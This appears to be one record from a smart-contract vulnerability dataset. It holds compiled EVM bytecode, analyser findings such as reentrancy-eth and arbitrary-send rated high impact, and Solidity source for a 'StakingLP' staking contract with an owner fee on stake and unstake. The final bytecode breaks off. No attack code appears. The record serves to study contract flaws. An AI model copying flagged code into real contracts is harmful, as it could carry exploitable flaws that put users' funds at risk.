ffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612aad578082015181840152602081019050612a92565b505050509050019650505050505050600060405180830381600087803b158015612ad657600080fd5b505af1158015612aea573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b600080831415612b205760009050612b8d565b6000828402905082848281612b3157fe5b0414612b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806140516021913960400191505060405180910390fd5b809150505b92915050565b6000612bd583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e5f565b905092915050565b80612beb57612bea612f25565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c8e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ca357612c9e848484612f68565b612e20565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612d465750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612d5b57612d568484846131c8565b612e1f565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612dfd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612e1257612e0d848484613428565b612e1e565b612e1d84848461371d565b5b5b5b80612e2e57612e2d6138e8565b5b50505050565b6000806000612e416138fc565b91509150612e588183612b9390919063ffffffff16565b9250505090565b60008083118290612f0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ed0578082015181840152602081019050612eb5565b50505050905090810190601f168015612efd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612f1757fe5b049050809150509392505050565b6000600c54148015612f3957506000600d54145b15612f4357612f66565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612f7a87613ba9565b955095509550955095509550612fd887600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c1190919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c1190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061310285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c5b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314e81613ce3565b6131588483613e88565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806131da87613ba9565b95509550955095509550955061323886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c1190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132cd83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c5b90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061336285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c5b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ae81613ce3565b6133b88483613e88565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061343a87613ba9565b95509550955095509550955061349887600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c1190919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c1190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135c283600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c5b90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061365785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c5b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136a381613ce3565b6136ad8483613e88565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061372f87613ba9565b95509550955095509550955061378d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c1190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061382285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c5b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061386e81613ce3565b6138788483613e88565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b600980549050811015613b5e5782600260006009848154811061393657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613a1d57508160036000600984815481106139b557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613a3b57600a54683635c9adc5dea0000094509450505050613ba5565b613ac46002600060098481548110613a4f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613c1190919063ffffffff16565b9250613b4f6003600060098481548110613ada57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613c1190919063ffffffff16565b91508080600101915050613917565b50613b7d683635c9adc5dea00000600a54612b9390919063ffffffff16565b821015613b9c57600a54683635c9adc5dea00000935093505050613ba5565b81819350935050505b9091565b6000806000806000806000806000613bc68a600c54600d54613ec2565b9250925092506000613bd6612e34565b90506000806000613be98e878787613f58565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613c5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125e4565b905092915050565b600080828401905083811015613cd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613ced612e34565b90506000613d048284612b0d90919063ffffffff16565b9050613d5881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c5b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613e8357613e3f83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c5b90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613e9d82600a54613c1190919063ffffffff16565b600a81905550613eb881600b54613c5b90919063ffffffff16565b600b819055505050565b600080600080613eee6064613ee0888a612b0d90919063ffffffff16565b612b9390919063ffffffff16565b90506000613f186064613f0a888b612b0d90919063ffffffff16565b612b9390919063ffffffff16565b90506000613f4182613f33858c613c1190919063ffffffff16565b613c1190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613f718589612b0d90919063ffffffff16565b90506000613f888689612b0d90919063ffffffff16565b90506000613f9f8789612b0d90919063ffffffff16565b90506000613fc882613fba8587613c1190919063ffffffff16565b613c1190919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ae27e05a61f8c7e4ceb0fd71c27a2f81be0ec1cf265ff12e3a7f080d9fcdeb2a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,697 |
0xcd1ffa25a99b0970f290a500fa68356dc628aa15
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract StakingLP is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// staking token contract address
address public stakingTokenAddress;
address public rewardTokenAddress;
constructor(address tokenAddress, address pairAddress) public {
rewardTokenAddress = tokenAddress;
stakingTokenAddress = pairAddress;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint public fee = 3e16;
uint internal pointMultiplier = 1e18;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(rewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfStakers() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake) public payable {
require(msg.value >= fee, "Insufficient Fee Submitted");
address payable _owner = address(uint160(owner));
_owner.transfer(fee);
require(amountToStake > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(stakingTokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalTokens = totalTokens.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unstake(uint amountToWithdraw) public payable {
require(msg.value >= fee, "Insufficient Fee Submitted");
address payable _owner = address(uint160(owner));
_owner.transfer(fee);
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
require(Token(stakingTokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
}
function receiveTokens(address _from, uint256 _value, bytes memory _extraData) public {
require(msg.sender == rewardTokenAddress);
distributeDivs(_value);
}
// function to allow owner to claim *other* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != rewardTokenAddress && _tokenAddr != stakingTokenAddress, "Cannot send out reward tokens or staking tokens!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x60806040526004361061011f5760003560e01c80638bc1e076116100a0578063c326bf4f11610064578063c326bf4f146105dc578063d578ceab14610641578063ddca3f431461066c578063f2fde38b14610697578063f3f91fa0146106e85761011f565b80638bc1e076146103eb5780638da5cb5b146104dd5780638e20a1d91461051e57806398896d1014610549578063a694fc3a146105ae5761011f565b8063583d42fd116100e7578063583d42fd146102505780636270cd18146102b5578063658b67291461031a5780636a395ccb146103455780637e1c0c09146103c05761011f565b8063125f9e33146101245780631f04461c146101655780632e17de78146101ca5780634e71d92d146101f85780635298b8691461020f575b600080fd5b34801561013057600080fd5b5061013961074d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561017157600080fd5b506101b46004803603602081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610773565b6040518082815260200191505060405180910390f35b6101f6600480360360208110156101e057600080fd5b810190808035906020019092919050505061078b565b005b34801561020457600080fd5b5061020d610b9e565b005b34801561021b57600080fd5b50610224610ba9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025c57600080fd5b5061029f6004803603602081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bcf565b6040518082815260200191505060405180910390f35b3480156102c157600080fd5b50610304600480360360208110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be7565b6040518082815260200191505060405180910390f35b34801561032657600080fd5b5061032f610bff565b6040518082815260200191505060405180910390f35b34801561035157600080fd5b506103be6004803603606081101561036857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c10565b005b3480156103cc57600080fd5b506103d5610e1b565b6040518082815260200191505060405180910390f35b3480156103f757600080fd5b506104db6004803603606081101561040e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561045557600080fd5b82018360208201111561046757600080fd5b8035906020019184600183028401116401000000008311171561048957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610e21565b005b3480156104e957600080fd5b506104f2610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052a57600080fd5b50610533610ead565b6040518082815260200191505060405180910390f35b34801561055557600080fd5b506105986004803603602081101561056c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb3565b6040518082815260200191505060405180910390f35b6105da600480360360208110156105c457600080fd5b8101908080359060200190929190505050610ffa565b005b3480156105e857600080fd5b5061062b600480360360208110156105ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e4565b6040518082815260200191505060405180910390f35b34801561064d57600080fd5b506106566113fc565b6040518082815260200191505060405180910390f35b34801561067857600080fd5b50610681611402565b6040518082815260200191505060405180910390f35b3480156106a357600080fd5b506106e6600480360360208110156106ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611408565b005b3480156106f457600080fd5b506107376004803603602081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611557565b6040518082815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b600d54341015610803576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e73756666696369656e7420466565205375626d697474656400000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166108fc600d549081150290604051600060405180830381858888f19350505050158015610871573d6000803e3d6000fd5b5081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6109303361156f565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156109c357600080fd5b505af11580156109d7573d6000803e3d6000fd5b505050506040513d60208110156109ed57600080fd5b8101908080519060200190929190505050610a70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610ac282600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a82600c5461185990919063ffffffff16565b600c81905550610b3433600461187090919063ffffffff16565b8015610b7f57506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b9a57610b983360046118a090919063ffffffff16565b505b5050565b610ba73361156f565b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b60096020528060005260406000206000915090505481565b6000610c0b60046118d0565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610d145750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611b5d6030913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dda57600080fd5b505af1158015610dee573d6000803e3d6000fd5b505050506040513d6020811015610e0457600080fd5b810190808051906020019092919050505050505050565b600c5481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e7b57600080fd5b610e84826118e5565b505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000610ec982600461187090919063ffffffff16565b610ed65760009050610ff5565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610f275760009050610ff5565b6000610f7d600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b5461185990919063ffffffff16565b90506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610fec600e54610fde858561193c90919063ffffffff16565b61196b90919063ffffffff16565b90508093505050505b919050565b600d54341015611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e73756666696369656e7420466565205375626d697474656400000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166108fc600d549081150290604051600060405180830381858888f193505050501580156110e0573d6000803e3d6000fd5b5060008211611157576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b6111603361156f565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561121157600080fd5b505af1158015611225573d6000803e3d6000fd5b505050506040513d602081101561123b57600080fd5b81019080805190602001909291905050506112be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61131082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198490919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136882600c5461198490919063ffffffff16565b600c8190555061138233600461187090919063ffffffff16565b6113e05761139a3360046119a090919063ffffffff16565b5042600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5